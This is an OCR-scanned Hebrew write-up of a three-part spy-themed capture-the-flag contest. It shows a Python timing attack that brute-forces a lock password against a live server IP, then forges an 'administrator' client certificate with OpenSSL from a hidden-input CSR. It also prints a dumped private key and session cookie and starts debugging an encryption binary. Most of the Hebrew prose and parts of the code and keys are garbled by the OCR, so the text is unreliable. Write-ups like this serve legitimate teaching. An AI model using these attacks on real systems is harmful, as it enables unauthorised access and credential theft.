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Challenge #1

Welcome Agent.

A team of field operatives is currently on-site in enemy territory, working to retrieve intel
on an imminent terrorist attack.

The intel is contained in a safe, the plans for which are available to authonzed clients via

Our client ID is 24c847254b9341219d5644d10af01f1f

Your mission is to retrieve those plans, and allow our team to break into the safe.

Good luckl,
M|

NIN APK 70 ,7Zip n1tyva APK-n 7y 7DN0on7 n'n 1'wyY [IWXRIN 12TH CAPK TNl Link-n 7y nxn?

'0NTIVO ZIP YaIp ' 17'RD 17V '7Onon71 NINSY [N ZIP Archive yal7 oxya

Marme Size Packed Size
assets 21032 537 7782761
libr 44717 692 18148 022
[T META-INF 5028 2794
res 4525 4367
D AndroidManifest.xml 2672 970
[ classes.dex 155 892 74743
D FESOUTCES,arsc 1560 1560

T K7W DRI DA ' 7D 7'Don NI D AN APK-n pIn 2y nxp nidDnon nKY
NM9%021 D"VITIVO DO'¥AP 178 NWYNY D 12'72 72122 DM¥P D'WIS'N INKRYT X NI7A0 NIYY7*79KRN

A2 7T Y NNNI WK Flutter NXYjIN
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122 Android Studio NX TN 27 ,N¥P'Y798N NIX YINT VIWD NXIN X2 21IFANN MATRY 07NN

INQN 0NN DX 'K I07IN'RA Y79 N NIX XN L17W 107K wnnwny

iWalk-LockSmither App

.NN0'0l Seed NWpAN N'¥P'79RN WWKD LINWYTD Login 10N DY N'¥7'79X 111191 NTAIY D AN

N'MNN2 X2N LORPLN Y'oIN "Login"-N |¥N7 7V D'¥NI7I D'0Y9N NX DY D'XP79X7 D'0'1dN UKD

>
q
a

¢

7123

iWalk-LockSmither App

Seed

123

123

Completed in: 5 milliseconds result is: false
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I7'JJ) NIN'7I2 DRXIN N'TNNIE XNO'ONI WNNWNN DY 7V Q1Y KINW NT'R NYIY n'xp"mxn D NKM]

U¥27 07 NP7w awnn T NRE(QPY IR NNR

70 T2 R ,NNRY 1710'Y 0020 NNAN X DDINA AIYINN 70 DR DWIY NNRMORNY NnInn
D'VI97 DXNNQ NRXIN TN WX 'O DYWL DT77in0 0'019N DX NI7YWY D'ann 0'o%0

.nvav

;22122 ¥ WI9'N INKRYT I07M'RD 7Y DNInvnn DX 912007 XN NIYYY 107Ny Xxan 1aTn L, pY
'WONN 7V MIYPNN IR 91007 122 107IM'RN 7¢ DTIRON MIWN NXIN WNNWNYT INAY 1IRYN

XN NTIRON M1V 1710

emulator —-tcpdump emulator.cap —-avd my avd

HTTP-2 Get NWpa X'¥IN 1'wONNW 11'KY L Login-n TIM®d 2y 11¥N7 ,2'wonn 7y 1910nNY NX7
DY N7'DNN NS0 NYRA DY MY INIXY N9 TXI Json-2 NTh W 1M 73apn ,010n MYy

(IR MIYPNN NX nix? N . NMIYRIN NYpaNnN

15 9.1e4384 10.0.2.15 35.246.158.51 8070 HTTP 173 GET fauth/getUrl HTTP/1.1

17 9.178257 35.246.158.. 18.8.2.15 51234 HTTP 185 HTTP/1.1 2@ OK (application/json)

28 9.353853 10.9.2.15 35.246.158.51 8070 HTTP 85 POST fauth/v2 HTTP/1.1 (application/json)

3@ 9.424697 35.246.158.. 18.8.2.15 51236 HTTP 287 HTTP/1.1 280 OK (application/json)
M Wireshark . Follow HTTP Stream (tep.stream eq 0) - emulato - ] M VWireshark - Follow HTTP Stream (tep.stream eq 1) - emulator - O X
GET /fauth/getUrl HTTP/1.1 POST /[auth/v2 HTTP/1.1
user-agent: iWalk-v2 user-agent: iWalk-v2
accept-encoding: gzip content-type: application/json; charset=utf-8
content-length: @ accept-enceding: gzip
host: 35.246.158.51:887@ content-length: 31

host: 35.246.158.51:8078

HTTP/1.1 28@ OK
Content-Type: application/json {"seed":"123","Password":"456" }HTTP/1.1 206 OK
Date: Wed, @8 May 2019 19:12:88 GMT Content-Type: application/json
Content-Length: 23 Date: Wed, 88 May 2019 19:12:88 GMT

Content-Length: 45
{"AuthURL": " /auth/v2"}
{"IsValid":false,"LockURL": ™", " Time":9115496}

1 clienr phet- 1 server gkt 1 . 1 client pkt, 1 server pkt. 1 fum.

Entire conversation (250 bytes) h Show and save data as | ASCIL e Entire conversation (348 bytes) - Show and save data as | ASCIT =
Find: Find Next i | [ Fndmext |
Filter Out This Stream Print Save as... Back Close Help Filter Out This Stream Print e Back Close Help

] NYPZ1 NXRXI'Y AR

http://35.246.158.51:8070/auth/getUrl

X7 pn NN

http://35.246.158.51:8070/auth/v2

K7W NN XD RIXNY? 7211 "Time" 9w 7y 2'Thn Mwnw 7722w nnan ,0yn ypna T 2A%va

.0172 1IRk¥N X7 72K "Time Based Attack” n'ixpnin naya

2w MmN TIp DR WONYT 7011 71N ,N71an 17 ANt 0NN X7 0D [1'0 7w T uyn NKY

?Github A\NXN X7 DX NN'WN 7@ ENn TI DR'YNY NI 210 DIpn ATRELDN'WYN
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http://35.246.158.51:8070/auth/getUrl
http://35.246.158.51:8070/auth/v2
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Repository-7 y'an? nn7xn "IsValid"-1 "LockUrl" 1> A7inw Json-nn D'y 1901 7 w19 TNRY

D" LDIN2 .N'VaN NXN) DY https://github.com/iwalk-locksmithers-app/server :xan 71'72

DT NAX 17 API-0 TI X 21'T2 7'90W XN TWK main.go DWA TNN Yalyp

NT7 .N0WNn YW Mg X0 YW pwnn TIY APl 0w 'R L TIRN 7Y NTAT NIPONoN NNY

NIKAN DVAN N'DIm

ffiWalk-Locks: old auth, depcrated developed by 06
/fthat is no longer with us

fFTODO: deprecated, remove from code

func vlAuth({w http.Responselriter, r *http.Request

:API-0 7W W'D punnn IK NUNNN WK 12190 7 K700 TN (KD 911N

func v1Auth (w http.ResponseWriter, r *http.Request) {
userAgent := r.Header.Get ( )
if userAgent !=
returnServerError (w, r)
return

}
start := time.Now ()

decoder := json.NewDecoder (r.Body)

var loginData LoginData

err := decoder.Decode (&loginData)

if err != nil {
ret := getResponseToken (start, false,
returnToken (w, ret)
return

}

for , lock := range getLocks() {
if loginData.Seed != lock.Seed {
continue

}

currentIndex := 0
for currentIndex < len(lock.Password) && currentIndex <
len (loginData.Password) {
if lock.Password[currentIndex] != loginData.Password[currentIndex] {
break

}

time.Sleep (30 * time.Millisecond)
currentIndex++

}

if currentIndex == len(lock.Password) {
ret := getResponseToken (start, true, lock.Value)
returnToken (w, ret)
return

}

ret := getResponseToken (start, false,
returnToken (w, ret)

2019 - Tomn 7¥ o1'an "MANKX [INNS
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NNI'0M DY NIYRA NN NIZYYT [N N2 N9PNNN [AN7 "HOYW NIXTY? N1 ,TIEn 72V nfan Nibnona
AWNRD 1 NI Sleep-n D NN N1DNNN YW NYX7 DRT Y7 1D T2 Sleep 01210 ,XN0'07 DNIY

:NaN NI7won QX1 NX NYIYY 0520 2IN27 071D 12X Yynwn ,XNo'on v 121 1N 0D'0'1ON

"0" NIN N7V IUXIN INNY XN0'0 NIPYWY nom .1
DTIZN DTN YXINAN NIMYYM 30-2 2IMaTNINY [ATh OXD 7T .2
NX7NN XNO0'0oN 7w 21100Y INN DX 90N D DX .a
('pr"a", "A" "2 "1") xan ImY y'wnn X7 DR b
ndn "Bruteforce" 11x"7 N1 ,0xpa D '9'¥90 W 7va NIfnY%? X 19w User-Agent-n 90112

T IR NYIVY [INTD VOO NAND .ANP'OXRT 01007 D1 KNO'ON NX 117 X'y

calculate_pass.py:

import json
import urllib?2
import string

def (data) :
req =
urllib2.Request (
reqg.add header (
req.add header (
req.add header (
res = urllib2.urlopen(req, json.dumps (data))
return res

() &
current pass =
old time = 0
user id =
while len (current pass) < 32:

for letter in string.printable:
r = request ({ : user id,
.format (current pass+letter)})
time = json.loads(r.read())['Time']
print letter, time
if time - old time > 27000000:

[}

current pass += letter

old time = time

print '{} - winning letter is: {}'.format (len(current pass),
letter)

break

print , current pass
print request ({ : user id, : current pass}) .read()

if name
calc pass|()

:09"MZON NXIN 7W NRXINN IT NI WWORY 'O

password is: 1b857b9f65184203ac65ae0643dcOc3b

{"Is?a}%d":true,"LockURL":"hEtp://3d375032374147a786575384bbc92682.xyz/fdd561f03f254e9f846c7e2d7fe?9ale","Time":963414181}
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Success!

Well Donel

You have successfully finished your 1st mission.

This i1s your success token:You may now send your token and contact info to the following

You can also collect and submit additional tokens by completing more challenges.

Take the Next Challenge

(Z !|IUN1|’1 QNANKN NX IN"'OW N1

2019 - 10N 7¥ oI'an Mankx |NNo
www.DigitalWhisper.co.il
1 2019 1' ,107 [I'7a




B
- |

Technolooi

21w

Challenge #2

Hello again, Agent.
Our team has successfully exfilirated the intel contained in the safe._

The intel has pointed us to an anti aircraft weapon deployed by the terrorists in order to
shoot down civilian aircraft.

While our field teams try to find the weapon, you must work to

Good luckl
M.

:(https://missilesys.com) 72 7V NXMIW TN MNXY 0'0121 1IN ,i72'70 7V n¥'N'7 A1NKY
P7

nynan NMIMNNY 1A% [ayn T N INWN 'R X7 INRN 79 Source-n 7V NNXp NIONON NXY

D XN AT TN NNY 10D NK7 https://dev.missilesys.com X1jaw MNRN 7w sub-domain-n

."IYou are not welcome here... but you can be" an21 IUXQW ITIN 0910 XINW NT'X7 D'W'AN 1INIX
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:NNO'0l WNNwn 0w 0'1dn7 117 [N 0910Nn

 swmit

:Download 1IN9> DY qoI11 "MNKY? D'72M 1IN ,Supermann:123 XN0'0NI WNNYN DY NO1dN INKY?

 Downoad

172 01Tn N0’ L 17w mpnnn NXY71 Certificate D720 DX NNIX NTIINN NKRY

https://missilesys.com

NAn pwunna D"7|7]']] 1INIX

NN NYTINN DX D'7270 IR N72un?7 ' T¥a Settings-n MM 72y n¥'N7 ANKRY7I
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Welcome to" 117 v'am ntn 71NN pwnnal Supermann bwn 0y Certificate-n X Mx¥'w 17 m'y
administrator ow 7y Certificate 11¥1 DXW N1IN7 D710 X ,ynwn "Missile System Supermann
19> 0'7'0N NdWN NX 7027 "IN NIMonN settings TIMY INIX? 012'17 7211 (NNVR NIMIKA '7DN)

2790 N7'NNa M N'RN Wiy

jwnn niy¥nxa "administrator” wnnwnn ow oy certificate [21Md MIxX'7 n'D 1'01Y [IWRIN 12T

NN NYTINA D77 X ,NNonNN

|User alreay exists!

NIN wnl privatekey XIn TNXN ,hidden inputs AW 7'dn 0910NW XN [INN'97 ND0I11 NAIWN NTIR)

.csr

¢input id="privatekey"™ name="privatekey" tvpe="hidden":</input:
<input id="csr" name="csr" type="hidden"></input>

'R NIYYT D710 1INIX DN 2ANT FTD ANIRMYT 71987 107NN ,0"W9'0 N'ON' NIIF0' NND TIV TNKY

.administrator XIn 12 |'1xnn Common Name-n ©WX DINN Certificate 1x¥"'7 NNT 702 0710 11NN

|N'NON 7V 20uNnY 07NN ,0'WIRD 2NY7 NI NANKAND AN ANKA NT Q7YY DT 1IRY [1'on

.NTN Writeup-n namd1 17w

DIYN 0'NIINN 7'nM)

NV NIYPA 7y DIMNY n71' WX Chain Of Trust-2 niw' 'nir (Common Authority IX) - CA .1
"Dimn" Certificate 1x'"71 NWPA? q1I¥N WK '01D NNON

QXN '01o NNon oy TN' CA-7 NIW? w'w nwpan ‘NIt (Certificate Signing Request IX) - CSR .2
7y 17 ninn%? CA-nn wjpa? |1 ,CSR 117 TIKN NN DT .AYPAN 7Y DINN' XINY 1)1

wvwa n'-Certificate Ty 7y myya ninnY? 71>'w Certificate

2019 - Tomn 7¥ o1'an "MANKX [INNS
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N2 w2 R Y'7nnn 71ma

Create private key |

Enteridentity information {

Create and send
Certificate Signing Request

Issue and send
certificate

Store certificate )|
with private key

hidden inputs 2 DIW' 091VQW |II'dN DTN MANKT? NNON 7W NPAITE DRPIOPAD NP NXP I'WIVI
Certificate 117 X' myya YwX CSR "7 2011 Javascript-n 7w "1 oy nnw? 0 kg
-0 DX 1Y Common Name-n nTwa 7' WWNX qon Certificate 72v ninn% 70 imatvaw

.0 X INIX administrator

X'y wTNN CSR-n ."missilesys.com” bwa Common Name Dy wTn CSR nIx' ?|xon n'wy nn
CSR-n nx x"7 1 .0'90n D'-Certificate 7y DIMN7 n% WwWox' NRN T 7V DNN'W NKXY

:Windows 7w Microsoft Management Console-2 nunnwn

ﬁ Consolel - [Console Rooth\ Certificates - Current User]
i@ File Action View Favorites Window Help
e nmE 8l dz HE

"] Console Root Logical Store Name
;¥ Certificates - Current User

| Trusted Root Certific Find Certificates..
Find Certificates... All Tasks ¥
Request New Certificate... Mew Window from Here
Import... Refresh
Create Custom Request... Advanced Operations » Help
Enroll On Behalf Of... i

| Trusted People
| Client Authentication Issuers
—l | Other People

o

Manage Enrollment Policies...

2019 - 10N 7¥ oI'an Mankx |NNo
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:CSR-2 n"a1wn 0™ niw'? 0N 11nax ,Certificate Information-n 7w 17wa

— O =
5 Certificate Enrollment
Certificate Information

Click Mext to use the options already selected for this template, or click Details to customize the certificate
request, and then click Mext.

Custom request j‘J STATUS: Available Details ~

The following options describe the uses and validity period that apply to this type of certificate:
Key usage:
Application policies:

Validity period (days):
Properties

Cancel

:D'NAN NITYN DX 11NV DWI Properties 7y YN'7

missilesys.com-7 - Common Name .1

Allow "-1 "Enable This Extension" NITWN NX 7*7Tn? W' "Basic Constraints" Xj7aw Extension-2 .2

Private Key-n n117na1 1-n 7ma ni'n? Path Length-n 7y ,q012 ,"subject to issue certificates
L0190 NNONN IR RX'7 NYONNY N'YOINN NX [N07 W

Subject Extensions  Private Key

General
The following are the certificate extensions for this certificate type.

Key usage
Extended Key Usage (application policies)

Baczic constraints

certificate or an end entity certificate.
[+] Enable this extension
Allow subject to issue certificates

Path length: | 10

Make the basic constraints extension critical

Include Symmetric algernthm

Custom extension definition

oK Cancel

The basic constraints extension is used to indicate whether the certificate is a CA

.

Apply

16

2019 - Tomn 7¥ o1'an "MANKX [INNS
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NX¥N1 wTNN CSR-n .CSR-N X1 INITYAY '019N NNONN DX 0D 1IX ,)'7NNN NIX 1IN"'0W 1NKY7

:"Certificates Enrollment Requests" n"j7'na

@
'E File Action View Favorites Window Help - || %
e | 2 (=] B

Console Root Issued To " lssuedBy Expiration Date  Intended Purposes || Actions
~ qnll Certificates - Current User
~ || Personal
| Certificates
Trusted Root Certification Authorities
| Enterprise Trust
" Intermediate Certification Authorities
| Active Directory User Object
| Trusted Publishers
1 Untrusted Certificates
| Third-Party Root Certification Authorities
| Trusted People
| Client Authentication Issuers
Other People
Local NonRemovable Certificates
| MSIEHistoryJournal
~ ] Certificate Enrollment Requests
| Certificates
Smart Card Trusted Roots

3 missilesys.com missilesys.com  17-May-20 <All> Certificates -

More Actions >

PKCS12 vn1i91 '019N NNONN NX RX'™7 wizal .Export 7y yn7a1 'in' wim yn'2a ,CSR-n NX 1N1)

.XN0'0 17 N1 (117 N1 Windows-¥ DTN NYOIND)

-] UNNWI NXRT NIYYY7 "2 .PEM un197 117 R¥" oIm'iw PKCS12-n NX 1'Min%? Ny ,pn XY
.OpenSSL
:PEM-7 PKCS12-n nnn

openssl pkcsl2 -in bla.pfx -nocerts -out key.pem

:DTIPN 2A7wnn 117 D'y PEM-N NN5n NRy'e

openssl rsa -in key.pem -out privkey.key

-y NNWOK ,Javascript Breakpoints-a wnnwa .CSR-n 7y 117 nINN% NX7? NN7 070" nx ,NYd
-0 NN W'aN XINW 197 IR DX 11XV Javascript TIp 7V Breakpoints 0'w% * 12 17 790n Chrome

D72V DINNY "D DN XY '01on Nnnonnl CSR

i ] Pretty-print this minified file?

19448 ;’f#’s*#’*#’fH’f“#**’s’*#’fH#“Q*“HHS’SH#H#*HH*#H’-HfHS'HH’#*QHH%HS'HH’#*QH*’-{HS'H’-H#HQH*’#H#H#’#HQ*#%H#
19441 function createPKCS1e(cn) {

19442 return Promise.resolve().then(() =»> createPKC51@Internal{cn)).then(() =» {
15443 var resultstring = "----- BEGIM CERTIFICATE REQUEST----- wrwnt;

19444 resultString = "${resultString}${formatPEM({toBasesd{arrayBufferTostringpkcslBBuffer)))} ;
19445 resultstring = "§{resultstring}irin----- EMWD CERTIFICATE REQUEST-----%rin”;
19446

19447 document.getElementById("csr").value = resultstring;

19448 document.getElementById("privatekey” ). value = window.privateKey;

Pdocument . querySelector("#signup form").submit();

19450 1

19451 }

19452

19453 window.createPKCS18 = createPKCS18;

159454

19455
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10190 NNONNI CSR-n X N7 7211 Nwdi 19,449 nIwa Breakpoint NX 11nw

input id="privatekey” name="privatekey"” type="hidden"” wvalue="----- BEGIN RSA PRIVATE KEY-----

MIIEv(IBADANBEkghkiGOWABAQEFAASCBKcwzeSjASEARDIBAQCEEMTRINFIENCD
BbdsYpcfLSc2tCF1TcAS081rPFUKi6Wkds JOul 3EVaruxy IVi8aMg 1 jWiWKIg8I 1
muHF IBadV3Fr7a9MMaexUTI 7AMCpeTLUvQZvTuGCAgqlr BPAVABZOVL Twe LKHW/WUE
THERuADNEYuZ FZ1kUL+ov3MnduglYUtdar31WeYISErt1P4iweb29q7EYPFhko
35zFJe2phek,/ JEPEDCLZZUGVIN3UQKaFuldznjhe2kUSvyywXnbws cVULYHE3UAZ
DTMFFpT+FX15N2zrAzVAhZISeBLpyTnYQu4dNvBL2DCY RMyXglsFctUbRBRHVVONRI
dBpPgB3bAgMBAAECESEAUMRTOUSRI®OBPaABE6NEjFROxG=NAVPHES42dfn2cin@
hTqlHADXRmg9802TsCxlgxjGlAigdyPyadfiPBe22LruszfmgNXi0jcbUPhEX00n
wHPQSUbzThoDwvdNg2xy4 XTI uH/D3DeIveBuWiNHZNFxj1ILEmrVkenf iaav+@inal]j
cOmaflvdxdyrFYD7E FxMcPIgUi@cKc8inYR3IB2vRMBA1QPAUKT 9/ Bdr@ps rChniM
1wlUKp2SppVImFwE7 KpFSPZtTda7POv+ks+TONITLwlax+0h/gBs80nwBR+zNRFe
EXOEfpnoiuHR1SwpnlT142w5ZcdF1zVmLbOULYZnEQKBgQDE9dZ Lop2F6Lo0jvgl
AlGgxkU8eeSn 1My ATOMIK3d IMFAgaMwSrY fmpd ZXSvRyMf 7 TugXqurBxkomCoEao
JgexPXYRPuADZRULgbATS/7rli2DaDEdDssaTu/badaPWYarxUBP7 20wmSFYFCPS
Sb-+HelebnbxF1ly1Tvlud+1iDAFAQKBeQDFrIFudvELiviQRsUF1WXKYA cmVE sgh+A+P
WMaXX1FAFFMNNeUG0nlItzCa5eEy4bTXF7sRnhl TgbyvecCwXYioHs0ahz11ad
TukzRKUwuSacnMs 6L cyZP+T Ikl gGumwoovhITFX1ugael pnlgM+xdaxduo7oT
v cyoyutewkBgQCKsygwhlA/ SHzcz+ L XCOkgS6fILWEg+BsFbk+ImS 1 TAmMdDFRx3 ]
ujhbixxiZo8A91F0pwQAa7IYTUCBWa+mE jkjBHE rm8SRVASUDIVEEX IrQsr1+IsR9
TPyuuNKsL7QZ+C66E Iohoge@cdmecjbtn/VD0s PEGWMevalT jpm+nr0jsQKBEHWA
tqugXnslglmfpdlXmmxQexB9kFgsaZ5vTCoajcHsMEqQhOOZEe TMYOM,/ cKGC IS5 Vagk
pPRUa4rk+6nbjPoxl7T3gk6G01K FcD3c TGSE4A]GoLCFtuQ0GiGuwEx3uEHObK sLk
w2w21+40AWC/ zgaHI 467 2A3jUagZbfluPsbz Y1 jAoGAWKXY iQKeHnF lpwn34Ge5
IxXIgC/gCHeRcNTi9WR31D+7FS3YWI1RzgovS3THKNItKELISAKCASE] 25+52TAQG
dylac59VijmTvyasre2U2+/4MZus3z2p2bBii3 1kMNT ciw2GXipv5ikawE4d5YHMu
BmkMVYNDIMGPLZgDrkXbQADI=

----- EMD RS5A PRIVATE KEY-----

input id="csr” name="csr" type="hidden"” value="-----BEGIN CERTIFICATE REQUEST-----

MIICgjCCAWWCAQAWDZENMASGATUEAWWEMTI zNDCCASTWDQY I KoZ Thve NAQEBBQAD

In7wn Certificates 7v DiInN% 7311 ,PKCS12 yalp 117 x'xint CSR-n 7y 117 DNN NKRNIE DWW INRY

(1'7v Dinnat "administrator” Xin 17w "Common Name"-nw wTn CSR 1x™M

openssl x509 -req -in admin.req -CA ca.cert -CAkey server.key -

CAcreateserial -out admin.crt

ONRN 7R WAl ,o1min Certificate-n DX /M ,Nwd .admin.crt DR 117 W' CSR-N 7V NN NXY7?
"7 NN Certificate-a 7N ANKY? NWA? Certificate NnT'R DY NNIR 7RIWY 170 DX 72j71 DY

:administrator-> D™AINN INIX NYDI

Select a certificate
Select a certificate to authenticate yourself to missilesys.com:443
Subject Issuer

administrator missilesys.com ODAEC1015812243582

Certificate information “ Cancel

2019 - Tomn 7¥ o1'an "MANKX [INNS
www.DigitalWhisper.co.il
18 2019 1' ,107 [I'7a




L Technoloqgi

Settings-n TMY7 0101 .AX7n 'wnn? 0'71>' 12NN administrator-> DM2INN NNIX WD

:Telnet Debugging 7wnni IP NIaIMD NIKYY N1 TNyl

Telnet-n Pwnn ny NN TNX? 12NNN? NO11 ,0'2'O1N 7W [P NIAIND NIKYNAY 78NY T¥a
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(23 vO1O) Telnet-n yIN .JIN1 |AT2 NNX DYD 21 1ANNNT7 TWORY 117 AN ,NANNNYT 12'01Y INXY
GET nwja niwy? no1 .HTTP 7w v119N - 80 L9 KINY "Management Status"n Nx Da N7 W

watral)a it Qs Rvally;

GET / HTTP/1.1

D'X¥N1 1INIX YADW NN KN 10.0.0.1:80 Wni70 ,va1d D0'R¥N1 NNIX 1AW TINYN DX 1727 AR

:DI7N2 settings TINY'? Nwa? no1n .1a

GET /settings HTTP/1.1
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(NN 12'0"1 NYPN] DX NTN 27w .ANTNA Redirect 302 0720 11NIXRY XN INANK naIwn n7ay
N7 TWKRD ,q010a .6.5.4/Cheroot-d Server 7w Header-n NX NIN'TAN NIYPANW 1I'RY .0NAT
Domain-nw XIN 1T 117 n'nw 12T .Set-Cookie 7w Header V'tnn nwn D 'k /-7 GET nwjpa
NND1D ITY 1120 DY NRIF0M INKYT .missilesys.com X71 missilesystem.com XIn 1'Thn Header-nw

OANKA NYL

Tiny? POST Nwizad DMavin PORT-NI IP-n ¢ NITUAW 11'KY ,TAY INRD 'R 72V Dibnona

‘telnet/

» <form method="post” action="/telnet":
vodiv id="titles">
wodiv id="ip_title" class="1level3d_title name":
<span class="name">IP</span>
<input name="1ip” class="value" type="text":> == &
<fdive
¥odiv id="port_title” class="level3_title wvalue":
£span class="name">Port</span:
<input name="port" class="value" type="text":
<fdive
<fdive
wodiv id="console">
<textarea name="consoleinput” ild="consoleinput”™ cols="8@" rows="5@":»</textarea:

HTTP n7a'1 telnet-n 9w Tmy% PORT-I IP NITwn oy 1myya POST Nupa NiWyY Nio17 nu7nn

‘Redirect 21w 11727 72N settings-n 7w TINY? nwpan NNIK DX NIYYY 11'01 .404

POST /settings HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

ip=10.2.0.1&port=80

nwa Cookie DY D'WA1 INIX MNX7 MW 7022w IXXNI,0'09091 1INIX NN NIRKI7 1'01 NTn 27wA

.SID
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:NWPa7 Header-> Cookie-n Nk q'0In'? 11'01

ings HTTP/1.1

ype: application/x-www-form-urlencoded
Cookie:
SID=Z0FBQUFBQOQmMzX2 JmMkt HNDJ5U2h3RE1mMXhwdWZXc3E5Sm1PT0d1lbng2Qk5VYTMOLVNm
OF94NXZfUXcxeUFiMXBMONNIUTRITGI1OXJ2YJk3RTF3QVZWMORSb3F1ckIyNDBsUC1pUGRh
cGVQTkI9fd2tVbHc50m1LOk81lemRoViWpgRHAZamhKakJtSmRZRzh3aUlEQm1 yUXMxQkxs0OG40
WUdkellXY25SemlySON5SMnlsaWhDY050VzZxa3B1IMGPpWULQ1WURxWUk1SGFhZ0xrSEpJakE4l
Ykt rNDBoQmhFbzJkdXpBclI50W5sQl1FBR2VJRnINTGFUVO11THVVZGVYalc2Q21DRHQObDk2
MWROQXBfaUS5uWmpXdjJydkdxdGI3NzRDAW12c2YOMjBMVU04MOJfQkVTAG89
Content-Length: 19

ip=10.0.0.1&port=80

ITay px N7l

Success!

Well Donel

You have successfully finished your 2nd mission.

This is your success token:
ZOFBQUFBAQmMmMzX2JmMktHWDJ5U2h3RETmMXhwdWZXc3E5Sm1PT0d1bng2Qk5VY
TMOLVNmMOF94NXZTUXcxeUFIMXBMQnNIUTRJTGI10XJ2Yjk3RTF3IQVZWMORSb3F1c

kiyNDBsUC1pUGRhcGVQTk9fd2tVbHc5Qm 1L Qk8TemRoVWpqgRHdZamhKakJtSmRZ
Rzh3aUTEQm1yUXMxQkxsOG40WUdkelIXY25SemlySON5MnlsaWhDY050VzZxa3B1M
GpWUIQTWURxWUk1SGFhZ0xrSEpJaE41YkirNDBoQmhFbzJkdXpBclI50W5sQIFBR
2ViRnINTGFUV011THVvZGVYa1c2Q2/DRHQObDk2MWROQXBfaU5uWmpXdjJydkadxd
GI3NzZRDdWI2c2YOMjBMVUo4MOJfQKVTdG89

Please send your token and contact info to the following

You can also collect and submit additional tokens by completing more challenges.

If you do, please send us another email.

Take the Next Challenge

SUUN 297 W91 am 1R e 1Y ,3 Q%% 7190 7Y 11307 QUKD NP'NXNn NOITRIR

A7 1DUNNE N'WYAN NNND1 ,N9TIXAN NANDN 7Y Awn T¥NN A"ann oy 71 07" 190n 1NKY
© "ankn v 'wihuin
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3 2%

Challenge #3

Hello again, Agent.

After you disabled the weapon system, we have successfully raided the terrorist
compound and took all present into custody.

The terrorists destroyed much of the data they kept, but we have managed to retrieve an
containing links to the other members of the network, as well as the
used to encrypt it.

Sadly, the encryption computer was destroyed. Aside from unidentified manufacturer
markings on the front (Or._. Po___ Ltd_.) we don't know anything about it.

Hopefully that won't stop you from decrypting this important intel.

Good luckl,
M|

N1DINN NX YNNY QUNNNY NX11 ,9002 INIXK N1'9¥XNY N1DINN NXI |9XIN Yalp I]'?J'PU K]

:XaN Usage-n NX I]'73'|7I N1INN NX Y"\n'? 12'0"1 .NN"I0N NNAN 7¢ 1D D'VOINLN 7w DNNNA

2w 7TIM2 yaig n7aq "at pImn R 70 QWK 199N yaip 'oxnY 1D N1dINA NYANWAY NKY

.NANKN IDA 7R NNIX PNT71 NDINN DX NNRY 10700 0N 3004
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NIDAIoON NI'¥ZAID DY NITTIANNA 77D 0T |"ox¥n X9w IDA 9w Disassembler-n 2IT'0 NX7 TNKY

N'X295N NNXM1 NdD ,'T'N
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D nx IR nwI input_filename-n IR N7apnY nNIon L probably_logic 7x 717x1 [n nwd

:NO¥NN YW NN

’ N

401D00 (vl
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6 *
Vi,

403ABO ( (charx

. -+

?01 1277 0'wWa 'R 70'7'NNN 'R LDNIXY DD T
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TN 72702 DN WNNWNT QWOKX 'RINYIY NDIN NN ['AN72 DRIYN NRNRY 4 2y 12T N

NYIY X'D NN AN Ty? nmivawn aptn T IT 22T 0T N1DIMN IR YONT7 MmN il
J1'OVO NMIXa N7V DNoNY? DizNa

D"IX1] TNI'MA .0NAT [IAN NYIVY N7V D¥2219] 7701 11NIX D'AYS NQTN (DWYIAE UI9'N
NYP .N19¥N DNMIAZR RINY TR DIYNAY N9 77N NI L|'OX¥N7 K'N DNun ‘Dw
DTINY 'MNI'T AT 179X IR IDA-Q N'UVO NIPONOoN T 2V Y NIYIY [N NN 2n7 TINN
D'YIAP WON7 2'Win TIXA D' .0'WIAR N2N W O"MTA Crypto-7 NNIYRY NINRI91 .n7un?
17 D'RNRY DNMRZRD NN PITA F2n? 200 121 wi9n oy 770 0T ,722000 DY [Nikn
wIiNI INT ,N727n X'NY 0NUNION '97 NYIY NY7II9N NN WN17 TWOX 0'My9Y? 'Dwin winn
N'D NN YTIY DRI DZANN 71T 2702 X ,NY22190 1NUN NN nyol D'MYY pY,7Dwin
NYIY

N7¢ Mpna) N7W9NN NOWN 7Y NINI9Y WIN'Y W' DNPR N2INA NN NIYI
2y ninon My 1 NIV DY NN 'on? 071> 1NN .117'awa 12D nnTn IDA-w (WiInAPI

JDI72pn DY DN0NI9N 7Y N1aNl 17RD NIYAIDT7 NIRNPN

A

4

MNY'T AT

NNDD INID ,MNY'T AT XD DYV ADINN AN 7Y N12Nd DN NUANYAY DRIYNN DNATH TNX

:Nan Offset-2 n'xjpa1oN 7w 75N01 IXI ITYYT 710' AT N7 XAt

sub_xx3ABO:

[AN71 PAIY? NNIX NN17 ,0M7IN TIXA 0'-Opcode [INN N7'ONY NDINK N'ON' N'Y119 X' NY71190

JANY'T AI2'T 72 NIAI0 NIYY nnd 119 I'I|7I'7 N'N NXD NYIY X'n NN
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:DVNT 2V 7ON011 N'IR NRMPN 7V WinDbg Nty Breakpoint Dw 0'ea

Breakpoint @ hit

eax=0898bf68 ebx=089825d8 ecx=754f7861 edx=00B88608 osi-B68008861 edi-BBIBBC1B
eip=881f1355 esp=886Tefec ebp=886feadd iopl=8 nv up ei pl nz na po nc
cs=0823 s5=882b ds=802b es=882b {s=0853 gs=882b efl-beaa82e2
EncryptSoftware+8x1355:

@81f1355 eB56276008 call EncryptSoftware+8x3ab8 (881f3aba)

0'Ma 16 9TIAa Buffer XINW NT'R N2V eax-2 VNS %52 NV NN Y ON01 K MR

:0xbaadf00d-2 7nnINNY

0:000> dc @eax
0032d17@ baadfeed baadfeed baadfeed baadfeed

:DITIN 0D NN 7NNIRAY 19X KINY NT'R 1ayin Nonnn 7y L1197

0:000> dc d5e625
00dS5e625 39637f9%e 141e03cb 8b979929 8bBaddcd ..c9....)....@..

:(eax-2 19X 7TIAa NX11D) 0x10 wn "avim nonnn i

0:000> dc @ebp-0x28
006feal8 00000010

-1 v Buffer-2 W' nn v 7DM01 Ix NI nn ik 1 (F10 wiznin) Step-Over 11'wy ,1'wdy

DTN eax

0:000> dc 0032d170

0032d170 637f9%e41 1e03cb39 97992914 0ad40cd8b A..C9....)....

NIXT'A'VDIN 7w 217'W .NDAION TINA N'XI] DINIX ,memcpy on 702 X' N'X21I95NY NN ,1"An
N9 NNIT N'ON! WIN'M NIXT7 AWON N NP RINY Winm Namndi

https://github.com/skywind3000/FastMemcpy/blob/master/FastMemcpy.h

